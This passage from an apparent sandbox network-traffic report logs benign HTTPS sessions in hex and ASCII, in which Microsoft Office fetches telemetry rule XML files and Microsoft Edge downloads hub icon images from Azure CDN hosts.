20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-28 10:05:35 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-28 10:05:35 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-28 10:05:35 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-28 10:05:35 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:34 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100534Z-174f7845968pf68xhC1EWRr4h80000000yng00000000097b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:34 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: fd79bfa2-c01e-0079-5434-41e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100534Z-174f7845968pf68xhC1EWRr4h80000000yeg000000007xxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:34 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:34 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 454be365-001e-0065-3d29-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100534Z-174f7845968qj8jrhC1EWRh41s0000000y3g00000000a0u9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:35 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:34 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 8b6e778c-d01e-005a-3367-407fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100535Z-174f7845968cdxdrhC1EWRg0en0000000y80000000004mvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	49867	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:35 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:36 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:35 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: cad89b3e-501e-005d-73ed-409803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100535Z-174f78459685m244hC1EWRgp2c0000000y10000000008dxv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 10:05:36 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	49868	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:35 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:36 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:36 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100536Z-174f7845968l4kp6hC1EWRe8840000000yn0000000000xx8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 10:05:36 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49871	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:35 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:36 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:36 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: fcdf0dc0-001e-004e-0122-41ade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100536Z-174f78459688l8rvhC1EWRtzr00000000az0000000000wzb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 10:05:36 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	49872	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:35 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:36 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:36 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100536Z-174f7845968kdththC1EWRzvxn0000000ag000000000awvf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 10:05:36 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	49869	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:35 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:36 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:36 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: f78da902-c01e-0071-68ed-401a3e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100536Z-174f7845968cdxdrhC1EWRg0en0000000y70000000005kxv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 10:05:36 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: 